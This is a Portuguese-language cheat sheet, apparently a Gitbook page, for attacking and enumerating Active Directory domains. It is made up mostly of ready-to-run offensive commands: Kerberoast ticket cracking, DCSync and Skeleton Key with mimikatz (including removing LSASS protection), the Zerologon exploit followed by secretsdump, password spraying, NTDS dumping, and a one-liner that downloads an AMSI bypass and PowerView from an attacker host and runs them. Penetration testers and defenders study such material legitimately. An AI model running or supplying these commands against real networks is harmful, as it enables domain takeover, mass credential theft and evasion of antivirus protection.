ATENÇÃO!! Nesse ponto provavelmente irá querer transferir o ticket, mas lembre-se de que ele está como binário, então tome cuidado para não destruí-lo ao transferir com ferramentas como Netcat. Recomendo utilizar o smbserver.py
.
Após transferir o Ticket (em binário), basta realizar um ataque de Brute Force. Para isso, podemos utilizar o tgsrepcrack.py. Caso não tenha instalado, utilize o comando abaixo:
sudo apt install kerberoast
Após isso basta executá-lo:
python3 /usr/share/kerberoast/tgsrepcrack.py <wordlist.txt> <ticket.kirbi>
GPO
Listando GPO's do Domínio
Get-GPO -All
Get-GPResultSetOfPolicy -ReportType HTML -Path <C:\file.html>
Sincronizando o Domain Controller
Quando o Domain Controller recebe uma solicitação de atualização, ele não verifica se a solicitação veio de um Domain Controller conhecido, mas apenas se o SID associado tem os privilégios apropriados. Se tentarmos emitir uma solicitação de atualização não autorizada para um Domain Controller de um usuário que é membro do grupo Domain Admins, ele será bem-sucedido.
O arquivo responsável por manter essas atualizações, é o NTDS.dit
, que funciona como um espécie de banco de dados do Active Directory.
mimikatz.exe
lsadump::dcsync /user:Administrator
Após a execução, podemos ver os hashes, incluindo o NTLM do usuário Administrator. O dump contém vários hashes associados às últimas vinte e nove senhas de usuário usadas, bem como os hashes usados com criptografia AES.
Usando a técnica acima, podemos solicitar uma atualização de replicação com um controlador de domínio e obter os hashes de senha de cada conta no Active Directory sem nunca fazer login no controlador de domínio.
DCSync
Em um ataque de DCSync o processo é mais furtivo, pois o atacante finge ser o DC, requisita a replicação de usários e assim DC original fornece os hashes dos usuários. No comando abaixo utilizamos o krbtgt
como usuário alvo (por questões óbvias, já que é um usuário com privilégio alto), porém pode-se utilizar qualquer outro usuários. Note que é preciso ser Administrador do Domínio para conseguir realizar esse tipo de ataque, mas não precisa executar o Mimikatz dentro do DC, mas sim de qualquer máquina.
Na verdade, o DCSync exige que o usuário tenha uma combinação de 3 direitos/permissão:
Replicating Directory Changes (DS-Replication-Get-Changes)
Replicating Directory Changes All (DS-Replication-Get-Changes-All)
Replicating Directory Changes In Filtered Set (DS-Replication-Get-Changes-In-Filtered-Set)
Para realizar o DCSync, utilize o seguinte comando no DC para obter o hash NTLM do krbtgt:
Invoke-Mimikatz -Command '"lsadump::dcsync /user:<DOMAIN>\krbtgt"'
Zero Logon
Certifique-se de ter o Impacket antes
git clone https://github.com/dirkjanm/CVE-2020-1472.git
cd CVE-2020-1472.git
git clone https://github.com/SecureAuthCorp/impacket.git
python3 cve-2020-1472-exploit.py <hostname_dc> <ip_dc>
Após fazer isso, a senha da conta do DC é nula, então podemos utilizá-la para realizar qualquer operação. No exemplo abaixo, estamos pegando todos os hashes NTLM dos usuários, incluindo o krbtgt.
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -just-dc <domain>/<hostname_dc>\$@<ip_dc>
Caso queira, é possível alterar a senha, bastando apenas codificá-la em hex. No exemplo abaixo o hex 41424344
é equivalente a ABCD
:
python3 restorepassword.py <domain>/<hostname_dc>@<hostname_dc> -target-ip <ip_dc> -hexpass 41424344
FSMO (Flexible Single Master Operation)
Há cinco funções de FSMO (Flexible Single Master Operation - Operação Mestre Única Flexível), sendo estes:
Schema Master
= Essa função gerencia a cópia de leitura/gravação do esquema do AD, que define todos os atributos que podem ser aplicados a um objeto no AD.Domain Naming Master
= Gerencia nomes de domínio e garante que dois domínios com o mesmo nome não sejam criados na mesma floresta.Relative ID (RID) Master
= O RID Master atribui blocos de SIDs aos DC's que podem ser usados para novos objetos. O RID Master ajuda a garantir que vários objetos não sejam atribuídos ao mesmo SID.PDC Emulator
= O host com essa função seria o DC autoritativo no domínio e responderia a solicitações de autenticação, alterações de senha e gerenciaria objetos de política de grupo (GPOs). O emulador PDC também mantém o tempo dentro do domínio.Infrastructure Master
= Essa função traduz GUIDs, SID's e DNs entre domínios. Essa função é usada em organizações com vários domínios em uma única floresta. O Infrastructure Master os ajuda a se comunicar. Se esta função não estiver funcionando corretamente, as Listas de Controle de Acesso (ACL's) mostrarão SID's em vez de nomes totalmente resolvidos.
Skeleton Key
Essa técnica consiste em realizar um patch do processo LSASS do DC, resultando no acesso em qualquer usuário utilizando uma senha única. Um ponto fraco desse tipo de atque, é que por ser uma modificação a nível de processo, é preciso realizar o ataque novamente, uma vez que o DC for reiniciado. Execute o comando Mimikatz abaixo no DC, de forma remota ou com o Invoke-Command
.\mimikatz.exe
misc::skeleton
Após isso, abra o Powershell (em outra máquina) com qualquer privégio e execute o comando abaixo:
Enter-PSSession -ComputerName <hostname-dc> -Credential <DOMAIN>\Administrator
Assim que executar o comando acima, irá ser exibido um popup solicitando a senha do usuário Administrator. Ao executarmos o Mimikatz no DC, ele alterou a senha de todos os usuários (incluindo o Administrator) para mimikatz
, então utilize esse senha para acessar os computadores da rede e também o próprio DC.
ATENÇÃO: Nesse exato momento, tanto a senha mimikatz
quanto a senha original de cada usuário, funcionam para realizar login, então os usuários irão continuar acessando normalmente suas contas.
Em alguns casos, o DC pode conter proteções no processo LSASS, então devemos realizar alterações a nível de kernel, utilizando o driver do Mimikatz e o mesmo deverá estar em disco na máquina do DC. O ponto fraco disso, é que o Mimikatz deve estar em disco, pois somente carregando em memória, não irá funcionar.
.\mimikatz.exe
privilege::debug
!+
!processprotect /process:lsass.exe /remove
misc::skeleton
!-
Brute Force
Realiza tentativa de uma uníca senha para vários usuários (spraying). o Paramêtro -Admin
indica que é para testar as contas administrativas.
.\Spray-Passwords.ps1 -Pass "<password>" -Admin
Pegando Informações sobre o AD
Informçãoes do AD
Import-Module <C:\path\to\Microsoft.ActiveDirectory.Management.dll>
Import-Module <C:\path\to\ActiveDirectory\ActiveDirectory.psd1>
Get-ADDomain
Filtrando por todos os usuários que não tem o campo "Description" em branco. Isso pode ser útil para pegar informaçõe úteis ou até mesmo sensíveis, já que alguns administradores insistem em deixar senhas no campo de descrição.
Get-ADUser -Filter 'Description -ne "$null"' -Properties Description | select name,Description
Buscando por políticas de grupos da GPO OBS.: Invoque o PowerView.ps1 antes de executar o comando abaixo
Get-NetGPOGroup
Pegando usuários que fazem parte de determinado grupo
Get-NetGroupMember '<group>'
RSAT (Remote Server Administration Tools)
Verificando quais ferramentas estão disponíveis
Get-WindowsCapability -Name RSAT* -Online | Select-Object -Property Name, State
Instalando uma única ferramenta. Como exemplos, utilizamos o ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0
Add-WindowsCapability -Name Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0 –Online
Instalando todas as ferramentas de uma vez
Get-WindowsCapability -Name RSAT* -Online | Add-WindowsCapability –Online
Após instalar, note que as ferramentas estarão disponíveis no Painel de Controle > Ferramentas Administrativas.
Também podemos acessar o ADSI (tool do RSAT) do Domain Controller a partir de um host que não está no Domínio (para isso é necesário possuir as devidas credenciais), facilitando bastante o processo de enumeração do AD. Caso prefira, é possível acessar somente o mmc
e assim adicionar os snap-ins que preferir. Possivelmente, irá receber erro specified domain either does not exist or could not be contacted.
, então clique com o botão direito do mouse no snap-in e depois clique em Change Domain
.
runas /netonly /user:<domain.local>\<user> "mmc %SystemRoot%\system32\adsiedit.msc"
Enumerando Usuários
Verificando se o user tem permissão GenericAll
para um determinado usuário
Get-ObjectAcl -SamAccountName <user> -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}
Verificando quais usuários possuem permissão GenericAll
em um determinado grupo. Observe o resultado de IdentityReference
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,<CN=name,DC=domain,DC=local>"}
Impacket
python3 GetADUsers.py -all -dc-ip <ip> <domain>/<user>:<password>
python3 GetADUsers.py -dc-ip <ip> '<domain.name>/'
python3 GetNPUsers.py -dc-ip <ip> -request '<domain.name>/'
python3 GetNPUsers.py '<domain.local>/' -usersfile <wordlist_users.txt> -format hashcat -outputfile <file_hash.txt> -dc-ip <ip>
python3 GetNPUsers.py <domain.name>/<user>
crackmapexec
Listando todos os usuários do AD
crackmapexec smb <ip> -u '' -p '' --rid-brute
Unconstrained Delegation (Delegação Irrestrita)
Impacket - Verificando as delegação de um DC
python3 findDelegation.py <domain.local>/<user>:<pass> -dc-ip <ip>
krbrelayx (https://github.com/dirkjanm/krbrelayx)
Caso tenha alguma delegação, podemos usar o krbrelayx
para abusar da delegação irrestrita, forçando o DC a se conectar ao host alvo e extrair p seu TGT. Usando os privilégios do DC para executar ataques DCSync, podemos extrair credenciais de qualquer usuários do domínio.
PowerView
Carregando PowerView
Forma convencional
# Carregando o PowerShell com bypass na política de execução
powershell -ep bypass
# Maneiras diferentes de carregar o módulo do PowerView
. .\PowerView.ps1
Import-Module PowerView.ps1
A segunda maneira que temos de carregar o PowerView.ps1, é da maneira abaixo. Note que antes de chamamarmos o PowerView, estamos chamando o arquivo amsibypass
, que server para realizar bypass no Windows Defender (caso esteja ativo).
Caso não tenha saiba como realizar bypass em amsi, clique no link abaixo:
Bypass em Antivírusiex(iwr -UseBasicParsing http://<ip>/amsibypass) ; iex(iwr -UseBasicParsing http://<ip>/PowerView.ps1)
Convertendo SID
É comum durante o processo de enumeração, pegarmos SID's que não são convertidos para os devidos nomes. Para realizamos tal conversão. podemos utilizar os seugintes comandos:
# Convertendo nome em SID
ConvertTo-SID <nome_ou_grupo>
# Convertendo SID em nome
ConvertFrom-SID <SID>
Floresta
Enumerando todos os Domínios da Floresta
Get-NetForestDomain
Enumerando todos os Domínios da outra Floresta
Get-NetForestDomain -Forest <outra.floresta>
Enumerando Floresta
Get-NetForest
Enumerando outra Floresta
Get-NetForest -Forest <outra.floresta>
Enumerando o Global Catalog da Floresta
Get-NetForestCatalog
Enumerando as relações de confiança de Floresta
Get-NetForestTrust
Enumerando as relações de confiança de outra Floresta
Get-NetForestTrust -Forest <outra.floresta>
Domínio
Enumerando o Domínio local
Get-NetDomain
Enumerando outro Domínio
Get-NetDomain -Domain <outro.domain.local>
Identificando o SID do Domínio
Get-DomainSID
Enumerando o DC
Get-DomainController
Enumerando outro DC
Get-DomainController -Domain <outro.domain.local>
Enumerando políticas do Domínio. Note que aqui podemos ver o valor de LockoutBadCount
. Caso LockoutBadCount
seja 0
, significa que não irá bloquear o usuário, caso erre a senha diversas vezes. Caso tenha um número entre 2 e 16, significa que este mesmo valor será a quantidade de tentativas incorretas que o usuário pode tentar até que sua conta seja bloqueada. Outro valor importante que podemos olhar, é o MaximumPasswordAge
, que indica que a senha nunca expira, caso o seu valor seja -1
;
Get-DomainPolicy
# Igual o comando anterior, porém detalhando a parte de `SystemAccess`
(Get-DomainPolicy).SystemAccess
Política de senhas do Domínio
Get-DomainPolicyData | select -expand SystemAccess
Usuários
Enumerando as propriedades e métodos de Get-NetUser
Get-NetUser | gm
Listando todos os usuários do AD
Get-DomainUser
Get-NetUser
# Comando semelhante ao anterior, porém exibindo somente o nome
Get-NetUser | select name
Quantidade total de usuários no AD
(Get-DomainUser).count
Enumerando usuários de outro Domínio
Get-NetUser -Domain <outro.domain.local>
Pegando informações de um determinado usuário
Get-NetUser -Identity <user>
Retornando todos os usuários que são administradores
Get-NetUser | ? {$_.admincount -eq 1} | select name
Buscando usuários que não possuem o campo description
em branco
Get-NetUser -Filter "(description=*)" | select name,description
Buscando por usuários que não possuem a string pass
no campo description
Get-NetUser -Filter "(description=*pass*)" | select name,description
Usuários que já fizeram login em alguma máquina do domínio
Get-NetUser | ? {$_.logoncount -gt 0} | select name
Retornando os usuários que já fizeram login em alguma máquina do domínio e a data do último login
Get-NetUser | ?{$_.logoncount -gt 0} | select name,pwdlastset
Enumerando todas as máquinas do Domínio onde o usuário local possui acesso como Administrador local
Find-LocalAdminAccess -Verbose
Invoke-EnumerateLocalAdmin -Verbose
Verificando sessões ativas no host atual
Get-NetSession
Localizando máquinas de Domínio nas quais os usuários estão conectados
Find-DomainUserLocation
Exportando informações de todos os usuários do domínio para um CSV
Get-DomainUser * -Domain <domain.local> | Select-Object -Property name,samaccountname,description,memberof,whencreated,pwdlastset,lastlogontimestamp,accountexpires,admincount,userprincipalname,serviceprincipalname,mail,useraccountcontrol | Export-Csv .\<output.csv> -NoTypeInformation
Verificando se o usuário atual tem direitos de administrador local em um host remoto
Test-AdminAccess -ComputerName <hostname>
# Ou
$sid = Convert-NameToSid <user>
$computers = Get-DomainComputer -Properties dnshostname | select -ExpandProperty dnshostname
foreach ($line in $computers) {Get-NetLocalGroupMember -ComputerName $line | ? {$_.SID -eq $sid}}
Verificando os usuários que estão logados em determinado computador ou no próprio computador (para isso, remova os parâmetos do comando abaixo). Para realizar com êxito o comando abaixo, é preciso ter privilégios de administrador
Get-NetLoggedon -ComputerName <host>
Pegando valores UAC de um determinado usuário
Get-DomainUser <user> | ConvertFrom-UACValue -showall
Usuário que possui informações no campo description
Get-DomainUser -Properties samaccountname,description | Where {$_.description -ne $null}
Enumerar usuário de outros Domínios com associação de grupo em qualquer grupo em nosso Domínio atual. Se comprometermos o domínio atual, podemos obter credenciais desse usuário do banco de dados NTDS e autenticar no Domínio que possui associção ao nosso Domínio atual
Find-ForeignGroup
Note que na saída do comando acima, o campo MemberName
pode conter somente o SID do usuário, então devemos executar o comando abaixo para pegamos o seu name
Convert-SidToName <sid>
Verificar usuários com Service Principal Names (SPNs) definidos em outros Domínios nos quais podemos autenticar por meio de relações de confiança de entrada ou bidirecionais com autenticação em toda a Floresta, permitindo que todos os usuários se autentiquem com uma configuração de confiança ou autenticação seletiva. Caso encontre algum Domínio, significa que pode ser aproveitada com Kerberoast devido a confiança da Floresta.
Get-DomainUser -SPN -Domain <domain.local> | select samaccountname,memberof,serviceprincipalname | fl
Buscando o nome de todos os usuários, a data de última alteração de senha e o último logon
Get-DomainUser -Properties samaccountname,pwdlastset,lastlogon -Domain <domain.local> | select samaccountname, pwdlastset, lastlogon | Sort-Object -Property pwdlastset
O mesmo que o comando acima, porém definimos que pegar somente datas do campo pwdlastset
que tem mais de 90 dias de diferença (comparado a data atual). Isso é útil para pegarmos contas com muito tempo sem alteração, o que pode significar que uma senha fraca.
Get-DomainUser -Properties samaccountname,pwdlastset,lastlogon -Domain <domain.local> | select samaccountname, pwdlastset, lastlogon | where { $_.pwdlastset -lt (Get-Date).addDays(-90) }
Data de altaração de senha MSSQL Server
Get-NetUser -SPN | ?{$_.memberof -match 'Domain Admins'}
Computadores
Enumerando computadores do AD
Get-NetComputer
Get-DomainComputer
Enumerando computadores utilizando o ping
e verificando se é um Servidor
Get-NetComputer -Ping -OperatingSystem "*Server*"
Filtrando pelo nome do Computador
Get-DomainComputer -Properties name,objectguid -Name "<name>"
Buscando por um computador onde um Domain Admin esteja logado e que o usuário atual possui acesso
Invoke-UserHunter -CheckAccess
Coletando nome do host, sistema operacional e atributos de Controle de Conta de Usuário (UAC).
Get-DomainComputer -Properties dnshostname,operatingsystem,lastlogontimestamp,useraccountcontrol | fl
# Salvando resultado em arquivo CSV
Get-DomainComputer -Properties dnshostname,operatingsystem,lastlogontimestamp,useraccountcontrol | Export-Csv .\inlanefreight_computers.csv -NoTypeInformation
Verificando por diretórios compartilhados em computadores do Domínio
Invoke-ShareFinder -Verbose
Bucando por arquivos sensíveis em computadores do Domínio
Invoke-FileFinder -Verbose
Procurando por computadores que estão configurado para permitir Constrained Delegation
(Delegação Irrestrita)
Get-DomainComputer -TrustedToAuth | select -Property dnshostname,useraccountcontrol
Grupos
Obtém lista de grupos do domínio
Get-DomainGroup
Get-DomainGroup | where Name -like "*Admins*" | select SamAccountName
Get-DomainGroup -Properties Name
Get-NetGroup
Get-NetGroup -GroupName *admin*
Verificando todos os membros de um determinado grupo
Get-DomainGroupMember -Identity '<grupo>'
Get-DomainGroupMember -Identity "Domain Admins" | select MemberDistinguishedName
Enumerando grupos de outro Domínio
Get-NetGroup -Domain <outro.domain.local>
Verificando os grupos que um determinado usuário pertence
Get-NetGroup -UserName <user> | select cn
Verificando os grupos que um determinado usuário (de outro domínio) pertence
Get-NetGroup -UserName <user> -Domain <outro.domain.local> | select cn
Todos os grupos que possuem "admin" no nome
Get-NetGroup '*admin*' | select name
Todo os usuários que são Domain Admin
. Note que essa pesquisa está sendo executada de forma recursiva
Get-NetGroupMember '*Domain Admin*' -Recurse | select MemberName
Procurando por Grupos de Segurança gerenciadores. Esses grupos tem o direito de adicionar membros a grupos de segurança e grupos de Distribuição do AD são definidos modificando o atributo managedBy
Find-ManagedSecurityGroups | select GroupName
Examinando o grupo de Security Operations
Get-DomainManagedSecurityGroup
Enumerando os grupos locais. Por padrão, será efetuado a pesquisa utilizando o próprio host
Get-NetLocalGroup -ComputerName <hostname> | select GroupName
Computadores
Obtém uma lista de todos os Sistemas Operacionais do Domínio
# Dados Completos
Get-NetComputer -fulldata
# Demais informações sobre um host
Get-DomainComputer | SELECT dnshostname, useraccountcontrol
# Somente os hostnames
Get-NetComputer
# Somente o hostname e o sistema operacional
Get-NetComputer -fulldata | select name,operatingsystem
Pegando membros de um determinado grupo local. Note que se não informar o grupo, será retornado somente os membros do grupo Administrators.
Get-NetLocalGroupMember -GroupName '<group>'
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName | fl
Buscando por determinado computador
Get-NetShare -ComputerName <hostname>
Get-PathAcl "\\<hostname>\<directory>"
Buscando compartilhamentos por todos os computadores do AD
Get-NetComputer | select name | % {$_.name ; Get-NetShare -ComputerName $_.name ; echo "---------------------------------------"}
Verificando quantas máquinas os usuários do AD podem inserir no Domínio
powershell Get-DomainObject -Identity "<DC=domain,DC=local>" -Properties ms-DS-MachineAccountQuota
Criando um computador no Domínio com senha aleatória
execute-assembly <C:\path\to\StandIn\StandIn\StandIn\bin\Release\StandIn.exe> --computer <name> --make
ACL/ACE
Mais detalhes a seguir em:
Explorando ACL/ACEOU
Get-DomainOU
Listando todos os computadores que fazem parte de uma OU.
Get-NetOU -OUName <OU> | %{Get-NetComputer -ADSPath $_}
GPO
Listando todas as GPO's
Get-NetGPO
Pegando as GPO's que estão associadas a um determinado host
Get-NetGPO -ComputerName <host>
Get-DomainGPO -ComputerIdentity <host> | SELECT displayname
Listando todas as GPO's que estão sendo aplicadas em uma determinada OU. Substitua o hash abaixo, pelo valor de gplink
, que pode ser obtido ao executar o comando Get-NetOU
Get-NetGPO -Identity "{12F23D88-9D4D-4E26-90EE-AE482324566B}"
Retorna todos os GPOs que modificam a associação a grupos locais por meio de Restricted Groups
ou Group Policy Preferences
. Você pode então localizar manualmente a quais OUs e, por extensão, a quais computadores essas GPOs se aplicam. Isso pode ser útil para mostrar que um determinado grupo está recebendo algum tipo de acesso local nas máquinas às quais as GPOs se aplicam.
Get-DomainGPOLocalGroup | select GPODisplayName, GroupName
SPN (Service Principal Name)
Pegando SPN de serviços do AD
Get-NetUser -SPN
Get-NetComputer | Select -ExpandProperty serviceprincipalname
DICA: Note que, como podemos obter uma lista de todos os serviços (e seus respectivos hosts), não precisamos então de utilizar um nmap para descobrir portas abertas. Além de ter um resultado mais preciso com o SPN, também se torna extremamente difícil de ser detectado
Active Directory Rigths
GenericAll
= Usuário pode modificar a associação ao grupo, adicionando ou remover usuários
Verificando permissões
$sid = ConvertTo-SID <user>
Get-DomainObjectAcl -Identity 'Security Operations' | ?{ $_.SecurityIdentifier -eq $sid}
Relação de Confiança
Retorna todas as relações de confiança de Domínio para nosso Domínio atual.
Get-DomainTrust
Retorna todas as relações de confiança de Floresta para nosso Floresta atual.
Get-ForestTrust
Listando os relacionamentos de confiança do Domínio atual
Get-NetDomainTrust
Listando os relacionamentos de confiança do outros Domínio
Get-NetDomainTrust -Domain <outro.dominio.local>
Enumerando as relações de confiança de Floresta
Get-NetForestTrust
Enumerando as relações de confiança de outra Floresta
Get-NetForestTrust -Forest <outra.floresta>
Diretórios Compartilhados
Diretórios compartilhados no host atual
Invoke-ShareFinder
Scripts Automatizados
Acessa todas máquinas do Domínio (sem passar pelo DC), e verifica onde o usuários atual possui acesso de Administrador Local. Esse acesso é feito utilizando as portas do RPC e SMB, porém é possível utilizar outras portas.
Find-LocalAdminAccess -Verbose [-Thread <int>]
Busca no DC a lista de computadores e depois verifica em cada máquina se o usuário atual possui acesso de Administrador Local. Esse acesso é feito utilizando as portas do RPC e SMB, porém é possível utilizar outras portas.
Invoke-CheckLocalAdminAccess
Técnica para verificar se possui acesso de Administrador Local e máquinas, porém de maneira mais furtiva. Para utilizá-lo antes deve enviar o dnshostname
das máquinas em um arquivo txt (get-netcomputer | select dnshostname
)
Find-WMILocalAdminAccess.ps1
Enumeração de todos os administradores locais de todas as máquinas do Domínio. É necessário ter privilégio de administador das máquinas que não são o DC
Invoke-EnumerateLocalAdmin -Verbose
Pesquisa no DC a lista de computadores e depois verifica o grupo de Administadores Locais
Get-NetLocalGroup
Retorna onde todos os membros de um determinado grupo (por padrão será pesquisado pelo Domain Admin) possuem sessão ativa e em quais computadores
Invoke-UserHunter -Verbose
Invoke-UserHunter -GroupName <group>
Caso queira deixar ainda mais stealth, podemos enumerar o c:\users
e após pegar a lista de usuários (baseados no diretórios que foram criados), acessa o File Server em busca de sessões ativas
Invoke-UserHunter -Stealth -Verbose
Para confirmar se o acesso é realmente válido, utilize o comando abaixo
Invoke-UserHunter -CheckAccess
SharpView
Help sobre determinado comando. No exemplo abaixo, utilizamos o Get-DomainUser
, porém pode ser qualquer outra função
.\SharpView.exe Get-DomainUser -Help
Enumeração de usuários que não exigem pré-autenticação Kerberos e podem ser submetidos a um ataque ASREPRoast.
.\SharpView.exe Get-DomainUser -KerberosPreauthNotRequired -Properties samaccountname,useraccountcontrol,memberof
Usuários com delegação restrita de Kerberos
.\SharpView.exe Get-DomainUser -TrustedToAuth -Properties samaccountname,useraccountcontrol,memberof
Enumerando usuários do AD
.\SharpView.exe Get-DomainUser -domain <domain>
Enumerando computadores do AD
.\SharpView.exe Get-DomainComputer
Coletando nome do host, sistema operacional e atributos de Controle de Conta de Usuário (UAC).
.\SharpView.exe Get-DomainComputer -Properties dnshostname,operatingsystem,lastlogontimestamp,useraccountcontrol
Procurando por computadores que estão configurado para permitir Unconstrained Delegation
(Delegação Irrestrita)
.\SharpView.exe Get-DomainComputer -Unconstrained -Properties dnshostname,useraccountcontrol
Procurando por todos os grupos do AD com o atributo AdminCount
definido como 1
, ou seja, este é um grupo protegido.
.\SharpView.exe Get-DomainGroup -AdminCount
Mostrando membros de um determinado grupo do AD
.\SharpView.exe Get-DomainGroupMember -Identity '<grupo>'
Enumerando os grupos locais. Por padrão, será efetuado a pesquisa utilizando o próprio host
.\SharpView.exe Get-NetLocalGroupMember -ComputerName WS01
Coletando informações sobre usuários de domínio com tenham PreauthNotRequired
.\SharpView.exe Get-DomainUser -KerberosPreauthNotRequired
Pegando SID de um determinado usuário
.\SharpView.exe ConvertTo-SID -Name <user>
Convertendo nome de um usuário a partir de um SID
.\SharpView.exe Convert-ADName -ObjectName <sid>
Usuários que permitem delegação irrestrita
.\SharpView.exe Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
Enumerando usuário com ServicePrincipalName (SPN), que possam ser sujeitos a ataques de Kerberoasting
.\SharpView.exe Get-DomainUser -SPN -Properties samaccountname,memberof,serviceprincipalname
Informações sobre o Domínio, como DC, Floresta, Domínios filhos, Level do Domíonio, etc
.\SharpView.exe Get-Domain
Enumerando compartilhamentos abertos em um determinado host
.\SharpView.exe Get-NetShare -ComputerName <hostname>
Enumerando as OU's
.\SharpView.exe Get-DomainOU | findstr /b "name"
Pegando o nome de todas as GPO's
.\SharpView.exe Get-DomainGPO | findstr displayname
ADModule
Importando o Módulo
Import-Module <C:\path\to\ADModule\ADModule-master\Microsoft.ActiveDirectory.Management.dll>
Import-Module <C:\path\to\ADModule\ADModule-master\ActiveDirectory\Import-ActiveDirectory.psd1>
Objetos
Retorna todos os objetos do AD
Get-ADObject
Floresta
Enumerando todos os Domínios da Floresta
(Get-ADForest).domains
Enumerando Floresta
Get-ADForest
Enumerando outra Floresta
Get-ADForest -Identity <outra.floresta>
Enumerando o Global Catalog da Floresta
Get-ADForest | select -ExpandProperty GlobalCatalogs
Domínio
Get-ADDomain
Enumerando o Domínio local
Get-ADDomain
Enumerando outro Domínio
Get-ADDomain -Identity <outro.domain.local>
Identificando o SID do Domínio
(Get-ADDomain).DomainSID
Enumerando o DC
Get-ADDomainController
Enumerando outro DC
Get-ADDomainController -DomainName <outro.domain.local>
Usuários
Get-ADUser -Filter * -Properties *
# Comando semelhante ao anterior, porém exibindo somente o nome
Get-ADUser -Filter * -Properties * | select name
Enumerando usuários de outro Domínio
Get-ADUser -Filter * -Properties * -Server <outro.domain.local>
Pegando informações de um determinado usuário
Get-ADUser -Identity <user>
Buscando por usuários que possuem o campo description
com algum conteúdo
Get-ADUser -Filter 'Description -like "*"' -Properties * | select name
Buscando por usuários que não possuem a string pass
no campo description
Get-ADUser -Filter 'Description -like "*pass*"' -Properties *
Todo os usuários que faz parte de Domain Admin
. Note que essa pesquisa está sendo executada de forma recursiva
Get-ADGroupMember -Identity "Domain Admins" -Recursive | select name
Grupos
Enumerando os grupos do Domínio
Get-ADGroup -Filter * -Properties *
Verificando os grupos que um determinado usuário pertence
Get-ADPrincipalGroupMembership -Identity <user>
Todos os grupos que possuem "admin" no nome
Get-ADGroup -Filter "Name -like '*admin*'" | select name
Computadores
Get-ADComputer -Filter * -Properties *
Enumerando computadores utilizando o ping
e verificando se é um Servidor
Get-ADComputer -Filter 'OperatingSystem -like "*Server*"'
OU
Listando as OU's do Domínio
Get-ADOrganizationalUnit -Filter * -Properties *
ACL/ACE
Mais detalhes a seguir em:
Explorando ACL/ACERelação de Confiança
Listando os relacionamentos de confiança do Domínio atual
Get-ADTrust -Filter *
Listando os relacionamentos de confiança do outros Domínio
Get-ADTrust -Identity <outro.dominio.local> -Filter *
ADSearch
Enumerando usuários do Domínio
<C:\path\to\ADSearch\ADSearch\bin\Release\ADSearch.exe> --search "objectCategory=user"
Pesquisando por todos os grupos de domínio que terminam com a palavra admins
.
C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=group)(cn=*Admins))"
Pesquisando por todos os grupos de domínio que terminam com a palavra admins
.
# Retonando todos os atributos
C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=group)(cn=MS SQL Admins))" --full
# Retornando somente os atributos cn e member
C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=group)(cn=MS SQL Admins))" --attributes cn,member
Configurando a saída para o formato JSON
C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=group)(cn=*Admins))" --json
Enumeração do AD (Post Exploitation)
Na máquina alvo, execute os comandos abaixo. Note que o terminal ficará preso e será salvo um arquivo zip com alguns arquivos json dentro.
ps1
powershell -ep bypass
. .\SharpHound.ps1
Invoke-Bloodhound -CollectionMethod All -Domain CONTROLLER.local -ZipFileName <file.zip>
exe
.\SharpHound.exe -c all
Depois de realizar um dos métodos acima, envie o arquivo zip para o host atacante com o seu método de preferência e importe no Bloodhound
.
DICA: Atualmente as credenciais padrões para acessar o Neo4j via web é root:root
ou neo4j:neo4j
# Terminal 1
neo4j start
neo4j console
# Terminal 2
bloobhound
Feito isso, vamos importar o arquivo zip que foi gerado com o SharpHound
para o Bloodhound
, clicando no botão Import Graph
que fica no canto direito da janela. Em alguns casos esse import não funciona, então é necessário clicar e arrastar o arquivo zip para dentro do Bloodhound. Logo após poderá ver o desenho do AD, mapeando informações úteis.
NTDS Dump
crackmapexec
Realiza o dump do NTDS.dit
. Ao pegar um NTLM, utilize-a para testar acessos para os outros usuários.
crackmapexec smb <ip> -u '' -p '' --ntds
Sites
# PowerView
https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon
# Powerview Tricks
https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993
# SharpView
https://github.com/tevora-threat/SharpView
# ADModule
https://github.com/samratashok/ADModule
# ADSearch
https://github.com/tomcarver16/ADSearch
# Modulo de AD no Powershell
https://www.microsoft.com/en-us/download/details.aspx?id=45520
# Find-WMILocalAdminAccess.ps1
https://github.com/admin0987654321/admin1/blob/master/Find-WMILocalAdminAccess.ps1
# Spray-Passwords
https://github.com/ZilentJack/Spray-Passwords/blob/master/Spray-Passwords.ps1
# GPOAbuse
https://github.com/FSecureLABS/SharpGPOAbuse
# SID conhecidos no AD
https://ldapwiki.com/wiki/Well-known%20Security%20Identifiers
# Gitbook com diversos ataques em AD/Kerberos
https://www.ired.team/
# Constrained Delegation (Delegação Restrita)
https://docs.microsoft.com/en-us/windows-server/security/kerberos/kerberos-constrained-delegation-overview#:~:text=Constrained%20delegation%20gives%20service%20administrators,to%20their%20back%2Dend%20services.
# Unconstrained Delegation (Delegação Irrestrita)
https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/
https://adsecurity.org/?p=1667
# Lista completas dos tipos de SPN
https://adsecurity.org/?page_id=183
# Tutorial LDAP da Digital Ocean
https://www.digitalocean.com/community/tutorials/how-to-manage-and-use-ldap-servers-with-openldap-utilities
Last updated
Was this helpful?